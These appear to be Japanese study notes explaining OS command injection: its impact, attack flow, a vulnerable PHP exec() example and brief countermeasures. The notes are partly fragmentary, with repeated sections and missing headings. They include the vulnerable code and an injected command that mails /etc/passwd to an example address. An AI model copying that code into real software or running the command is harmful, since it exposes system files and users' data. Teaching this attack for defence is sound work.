セキュリティ攻撃 OSコマンドインジェクション

OSコマンドいジェクションとは

OSコマンドインジェクションが成功すると、、、

そのサーバの情報漏洩やデータ改ざん・破壊、ウイルス感染などが起きてしまう

OSコマンドインジェクションの流れ

① 攻撃者がWebアプリケーションに攻撃パターンを入力

② Webアプリケーション内で入力値とともにコマンド文字列が組み立てられる

③ コマンド文字列がWebサーバのシェルにおいて解釈されて実行される

④ 開発者が意図しないコマンドが実行される

どういう状況で危険？

ユーザーから入力を受け取るWebアプリケーション

アプリケーション内で、別プログラムを呼び出したり、内部シェルやOSコマンドを実行してる

防ぐための対策は？

OSコマンドいジェクションとは

ユーザーからのデータ・数値の入力を受け付けるアプリケーションにおいて、不正なOS命令文を紛れ込ませる攻撃手法。

OSコマンドインジェクションが成功すると、、、

そのサーバの情報漏洩やデータ改ざん・破壊、ウイルス感染などが起きてしまう

OSコマンドインジェクションの流れ

① 攻撃者がWebアプリケーションに攻撃パターンを入力

② Webアプリケーション内で入力値とともにコマンド文字列が組み立てられる

③ コマンド文字列がWebサーバのシェルにおいて解釈されて実行される

④ 開発者が意図しないコマンドが実行される

OSコマンドインジェクションの具体例

PHPでWebアプリケーションが作られてるとする。

そして、以下のようなプログラムがあるとする。

ユーザーから受け取ったデータをOSコマンド実行に利用してる。

code: sample.php

$message_file = “/var/data/aaa.txt”;

$rtn = exec('mail -s “タイトル” ’.$address.’< ‘.$message_file);

ここで...攻撃の例

そうなると以下のようなコマンドが実行される

$ mail -s “タイトル” xxx@example.com < /etc/passwd

memo.icon

これは、がっつりOSコマンドを実行するプログラムがあるわかりやすい例となってる。

他にもOSコマンドを裏で利用してるような関数を利用する場合には注意が必要。

その関数が脆弱性を持ってたら、同じようにコマンドインジェクションが成立してしまう恐れがある。

対策としては

これが一番安全。裏でコマンド実行されてて気付かない、は仕方ないが。

それでも、できる限り注意を払うことが大事

その関数に与える入力値のバリデーションをしっかり行っておく。

OSコマンドを打ってそうなリクエストは見つけ次第遮断してくれる。

ただ、システムの稼働コストも上がるので、そこはバランスを取った方がいい。